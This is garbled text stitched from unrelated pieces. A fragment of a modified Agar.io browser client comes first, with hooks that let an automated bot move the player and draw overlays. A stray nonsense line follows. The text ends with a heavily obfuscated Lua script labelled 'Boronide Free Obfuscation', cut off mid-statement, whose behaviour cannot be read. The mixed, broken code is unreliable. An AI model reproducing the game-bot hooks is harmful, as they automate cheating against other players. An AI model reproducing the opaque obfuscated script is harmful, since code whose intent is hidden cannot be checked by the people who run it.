d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot
Yutsayyywwwwwa
--Boronide™ Free Obfuscation, v0.3.3 local a,b,c=nil,nil,nil([[Boronide Obfuscation, discord.gg/boronide]]):gsub('(.*)',function(d)local e="h6tahTjcrNXsUZeHPGc8G7P7"local f="E8QLRFuKcBKinhFOkr6Txj7Q"local g=3374;local h=4349;while(g<h)do h=g-8698;do while(g>(h-12))do h=(g+3964)*2;do while(g<h)do h=g-29352;e=d end end ;do if g>(h-6748)then h=(g+6748)c=getfenv or function()return _ENV end end end end end ;do if(6748-g)<(h+3395)then g=((h+3374)*2)f=d end end end;local c=c()local d=c["string"]["\99\104\97\114"](99,104,97,114)local g=c[string[d](115,116,114,105,110,103)]local h="w_FO1YvOp5IJ_JEze8v"local i="FhPtD"local j="feEcFocMGgixL"do local a=57;local b=9.948514753135893;local e=945.8116617232874;local f={}do while(true)do do if(a*9==864)then if(a+48==144)and((e==58.065739250560796)and(b==254.19723852254086)and(f[683]==false)and(f[978]=='taq5mMQ1YN')and(f[85]=='y6Sc0G8XbW'))then break end end end ;do if(a*5==285)then do while((e==945.8116617232874)and(b==9.948514753135893))and(a+28==85)do f[683]=false;b=208.10539351100033;f[978]='XdSMTTzvzL'e=14.79275139770333;a=0;f[85]='14JaubIdy7'break end end end end ;do if(a*0==0)then if((e==14.79275139770333)and(b==208.10539351100033)and(f[683]==false)and(f[978]=='XdSMTTzvzL')and(f[85]=='14JaubIdy7'))and(a+0==0)then e=293.81901756205644;b=50.76360028999613;f[683]=false;j=c[g[d](115,116,114,105,110,103)][d]f[978]='Cc8BoLxI5L'a=185;f[85]='zIiZJ6JTj2'end end end ;while(a+92==277)and((e==293.81901756205644)and(b==50.76360028999613)and(f[683]==false)and(f[978]=='Cc8BoLxI5L')and(f[85]=='zIiZJ6JTj2'))do f[978]='QRnnIlRuvR'h=c[g[d](115,116,114,105,110,103)][g[d](98,121,116,101)]f[85]='ZayGksf8ut'e=688.0362155309301;f[683]=false;b=60.11202450937801;a=137;break end;do if(a*13==1781)then do while((e==688.0362155309301)and(b==60.11202450937801)and(f[683]==false)and(f[978]=='QRnnIlRuvR')and(f[85]=='ZayGksf8ut'))and(a+68==205)do i=c[g[d](115,116,114,105,110,103)][g[d](103,109,97,116,99,104)]f[85]='y6Sc0G8XbW'e=58.065739250560796;a=96;f[978]='taq5mMQ1YN'f[683]=false;b=254.19723852254086;break end end end end ;if(a+164==492)and((e==58.767843705359496)and(b==30.314354735452678)and(f[683]==false)and(f[978]=='INVDZQdEvM')and(f[85]=='hgLTbPgahH'))then a=57;e=945.8116617232874;b=9.948514753135893 end end end end;b={[f]=41,['\95'..j(66,111,114,111,110,105,100,101,32,79,98,102,117,115,99,97,116,105,111,110,44,32,100,105,115,99,111,114,100,46,103,103,47,98,111,114,111,110,105,100,101)]=e}b[g[d](95,120,95,88,88,90,120,76,120,53,48,79,57,121,51,108,49)]=h;b[g[d](95,120,89,52,50,49,76,53,55,111,56,52,95,57,53,76,51)]=j;b[g[d](95,120,73,50,56,120,95,56,122,73,54,48,48,95,55,55,76)]=i;do local c=727;local d=103.18096328243759;local g=418.9780934608633;local h={}do for i in(function()return 217 end)do if(c+0==0)and((d==738.9184538030601)and(g==211.83434845499667)and(h[483]==false)and(h[587]=='i3cQ61Egex')and(h[103]=='fzK6QeZKK4'))then d=189.85164783288644;g=663.1195070633222;do if(b[f]~=nil and(#e~=b[f]))then return 0 end end ;h[103]='qivLTCop58'h[587]='SVAmdDmxDV'h[483]=false;c=518 end;if(c*9==855)then do while(c+47==142)and((d==21.780102306438227)and(g==239.285573041695)and(h[483]==false)and(h[587]=='Ek5W5sVSyH')and(h[103]=='CQDIUtD1jq'))do do if(e~=b['\95'..f])then return(b[3123139])end end ;g=365.35801399237056;d=93.87829916798594;h[103]='Mdwrllf9dA'c=621;h[483]=false;h[587]='G5b9Sb0Ash'break end end end;do if(c*51==26418)then while((d==189.85164783288644)and(g==663.1195070633222)and(h[483]==false)and(h[587]=='SVAmdDmxDV')and(h[103]=='qivLTCop58'))and(c+259==777)do g=239.285573041695;h[103]='CQDIUtD1jq'h[587]='Ek5W5sVSyH'd=21.780102306438227;c=95;h[483]=false;do 